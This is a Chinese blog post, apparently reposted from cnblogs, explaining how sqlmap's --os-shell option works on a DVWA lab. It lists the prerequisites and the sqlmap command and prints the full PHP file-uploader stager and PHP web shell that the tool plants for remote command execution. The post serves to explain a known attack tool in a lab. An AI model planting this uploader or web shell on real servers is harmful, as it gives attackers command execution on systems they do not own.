Mysql注入 sqlmap --os-shell 原理

Mysql注入 sqlmap --os-shell成功前提条件:

  1. 为dba权限
  2. 有写权限(show global variables like '%secure_file_priv%';)
  3. 知道绝对路径

我使用DVWA的low难度SQL注入点,开启Burp监听8080端口

python sqlmap.py -r 1.txt --os-shell --proxy=http://127.0.0.1:8080

HTTP通讯过程如下:

 

 探测网页是否能够访问

 写入一个具有上传文件功能的php文件,文件内容:

admin    admin<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\phpstudy_pro\WWW\> <input type=submit name=upload value=upload></form>";}?>

 

 访问该php文件,看是否写入成功

 通过该php文件上传木马,木马内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

 

 检查木马是否正常运行

 成功执行命令

 

 退出时删除两个木马文件

原文地址:https://www.cnblogs.com/rnss/p/14463938.html